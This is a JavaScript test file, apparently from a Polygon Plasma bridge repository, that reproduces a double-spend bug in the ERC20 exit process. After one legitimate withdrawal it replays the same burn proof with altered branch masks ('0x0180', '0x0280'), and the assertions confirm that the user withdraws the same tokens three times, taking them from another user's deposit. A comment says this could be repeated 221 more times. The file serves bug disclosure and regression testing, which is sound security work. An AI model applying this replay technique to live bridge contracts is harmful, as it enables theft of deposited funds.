-
Notifications
You must be signed in to change notification settings - Fork 1
/
DoubleSpendRepro.test.js
197 lines (172 loc) · 9.29 KB
/
DoubleSpendRepro.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
import chai from 'chai'
import chaiAsPromised from 'chai-as-promised'
import ethUtils from 'ethereumjs-util'
import deployer from '../../../helpers/deployer.js'
import logDecoder from '../../../helpers/log-decoder.js'
import { buildInFlight } from '../../../mockResponses/utils'
import StatefulUtils from '../../../helpers/StatefulUtils'
const predicateTestUtils = require('./predicateTestUtils')
const utils = require('../../../helpers/utils')
const web3Child = utils.web3Child
const rlp = ethUtils.rlp
chai.use(chaiAsPromised).should()
let contracts, childContracts, statefulUtils
// Copying this function definition here because we will need to customize is to reproduce the attack
function buildReferenceTxPayload(input, branchMask) {
const {
headerNumber,
blockProof,
blockNumber,
blockTimestamp,
reference,
logIndex
} = input
return [
headerNumber,
ethUtils.bufferToHex(Buffer.concat(blockProof)),
blockNumber,
blockTimestamp,
ethUtils.bufferToHex(reference.transactionsRoot),
ethUtils.bufferToHex(reference.receiptsRoot),
ethUtils.bufferToHex(reference.receipt),
ethUtils.bufferToHex(rlp.encode(reference.receiptParentNodes)),
branchMask,
logIndex
]
}
// Start an exit of burnt tokens from Polygon to Ethereum
// This will be called many times for the exploit
async function startAndProcessExit(branchMask, predicateInput, contracts, childContracts, user, amount) {
const payload = ethUtils.bufferToHex(rlp.encode(buildReferenceTxPayload(predicateInput, branchMask)))
const startExitTx = await contracts.ERC20Predicate.startExitWithBurntTokens(payload, {from: user})
console.log("After exit transaction root tokens: " + await childContracts.rootERC20.balanceOf(user))
console.log("After exit transaction child tokens: " + await childContracts.childToken.balanceOf(user))
const logs = logDecoder.decodeLogs(startExitTx.receipt.rawLogs)
const log = logs[utils.filterEvent(logs, 'ExitStarted')]
expect(log.args).to.include({
exitor: user,
token: childContracts.rootERC20.address,
isRegularExit: true
})
utils.assertBigNumberEquality(log.args.amount, amount)
const processExits = await predicateTestUtils.processExits(contracts.withdrawManager, childContracts.rootERC20.address)
console.log("After process exit root tokens: " + await childContracts.rootERC20.balanceOf(user))
console.log("After process exit child tokens: " + await childContracts.childToken.balanceOf(user))
processExits.logs.forEach(log => {
log.event.should.equal('Withdraw')
expect(log.args).to.include({ token: childContracts.rootERC20.address })
})
}
async function depositTokensToPolygon(contracts, childContracts, user, amount) {
await childContracts.rootERC20.approve(contracts.depositManager.address, amount, {from: user})
const result = await contracts.depositManager.depositERC20ForUser(childContracts.rootERC20.address, user, amount, {from: user})
const logs = logDecoder.decodeLogs(result.receipt.rawLogs)
const NewDepositBlockEvent = logs.find(
log => log.event === 'NewDepositBlock'
)
const depositBlockId = NewDepositBlockEvent.args.depositBlockId
const deposit = await childContracts.childChain.onStateReceive('0xa' /* dummy id */,
utils.encodeDepositStateSync(
user,
childContracts.rootERC20.address,
amount,
depositBlockId
)
)
}
// This test sends an ERC20 token from an owner contract on Ethereum (root) chain to a non-owner user,
// deposits the tokens into the Polygon (child) chain,
// withdraws the tokens from the child chain back to the root chain,
// processes the withdrawal on the root chain,
// and then executes the multiple withdrawal attack.
contract('ReproduceDoubleSpendBug', async function(accounts) {
const amount = web3.utils.toBN('10').mul(utils.scalingFactor)
// The maximum ERC20 deposit size is 50
const bigAmount = web3.utils.toBN('50').mul(utils.scalingFactor)
const owner = accounts[0]
const user = accounts[1]
const user2 = accounts[2]
before(async function() {
contracts = await deployer.freshDeploy(owner)
childContracts = await deployer.initializeChildChain(owner)
statefulUtils = new StatefulUtils()
})
describe('reproduceDoubleSpendBug', async function() {
beforeEach(async function() {
contracts.withdrawManager = await deployer.deployWithdrawManager()
contracts.ERC20Predicate = await deployer.deployErc20Predicate(true)
})
it('Exit with burnt tokens', async function() {
const { rootERC20, childToken } = await deployer.deployChildErc20(owner)
childContracts.rootERC20 = rootERC20
childContracts.childToken = childToken
console.log("Deposit amount: " + amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), 0)
utils.assertBigNumberEquality(await childToken.balanceOf(user), 0)
console.log("Before transfer root tokens: " + await rootERC20.balanceOf(user))
console.log("Before transfer child tokens: " + await childToken.balanceOf(user))
rootERC20.transfer(user, amount, {from: owner})
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), amount)
utils.assertBigNumberEquality(await childToken.balanceOf(user), 0)
// user2 puts in tokens - user will be able to maliciously steal these tokens
rootERC20.transfer(user2, bigAmount, {from: owner})
utils.assertBigNumberEquality(await rootERC20.balanceOf(user2), bigAmount)
console.log("Before deposit root tokens: " + await rootERC20.balanceOf(user))
console.log("Before deposit child tokens: " + await childToken.balanceOf(user))
await depositTokensToPolygon(contracts, childContracts, user, amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), 0)
utils.assertBigNumberEquality(await childToken.balanceOf(user), amount)
console.log("After deposit root tokens: " + await rootERC20.balanceOf(user))
console.log("After deposit child tokens: " + await childToken.balanceOf(user))
// assert deposit on child chain
utils.assertBigNumberEquality(await childContracts.childToken.balanceOf(user), amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(contracts.depositManager.address), amount)
// User 2 deposits all of their tokens onto Polygon
await depositTokensToPolygon(contracts, childContracts, user2, bigAmount)
utils.assertBigNumberEquality(await childContracts.childToken.balanceOf(user2), bigAmount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(contracts.depositManager.address), amount.add(bigAmount))
// begin withdrawal
const { receipt } = await childContracts.childToken.withdraw(amount, {from: user})
console.log("After withdraw root tokens: " + await rootERC20.balanceOf(user))
console.log("After withdraw child tokens: " + await childToken.balanceOf(user))
let { block, blockProof, headerNumber, reference } = await statefulUtils.submitCheckpoint(contracts.rootChain, receipt, accounts)
const predicateInput =
{ headerNumber, blockProof, blockNumber: block.number, blockTimestamp: block.timestamp, reference, logIndex: 1 }
// First exit
// 0x0080 is the default that was being used in the test originally
let branchMask = "0x0080"
console.log("Branch mask:" + branchMask)
await startAndProcessExit(branchMask, predicateInput, contracts, childContracts, user, amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), amount)
utils.assertBigNumberEquality(await childToken.balanceOf(user), 0)
utils.assertBigNumberEquality(await rootERC20.balanceOf(contracts.depositManager.address), bigAmount)
// Call startExitWithBurntTokens again with special inputs to cause the bug:
branchMask = "0x0180"
console.log("Branch mask:" + branchMask)
await startAndProcessExit(branchMask, predicateInput, contracts, childContracts, user, amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), amount * 2)
utils.assertBigNumberEquality(await childToken.balanceOf(user), 0)
utils.assertBigNumberEquality(await rootERC20.balanceOf(contracts.depositManager.address), bigAmount.sub(amount))
branchMask = "0x0280"
console.log("Branch mask:" + branchMask)
await startAndProcessExit(branchMask, predicateInput, contracts, childContracts, user, amount)
utils.assertBigNumberEquality(await rootERC20.balanceOf(user), amount * 3)
utils.assertBigNumberEquality(await childToken.balanceOf(user), 0)
utils.assertBigNumberEquality(await rootERC20.balanceOf(contracts.depositManager.address),
bigAmount.sub(web3.utils.toBN(amount * 2)))
// User has now withdrawn their tokens two times more than they should be allowed to.
// This could be done 221 more times with further variations on the branch mask
// The below test will fail because of the above hack
//try {
//await utils.startExitWithBurntTokens(
//contracts.ERC20Predicate,
//{ headerNumber, blockProof, blockNumber: block.number, blockTimestamp: block.timestamp, reference, logIndex: 1 },
//user
//)
//assert.fail('was able to start an exit again with the same tx')
//} catch(e) {
//assert(e.message.search('KNOWN_EXIT') >= 0)
//}
})
})
})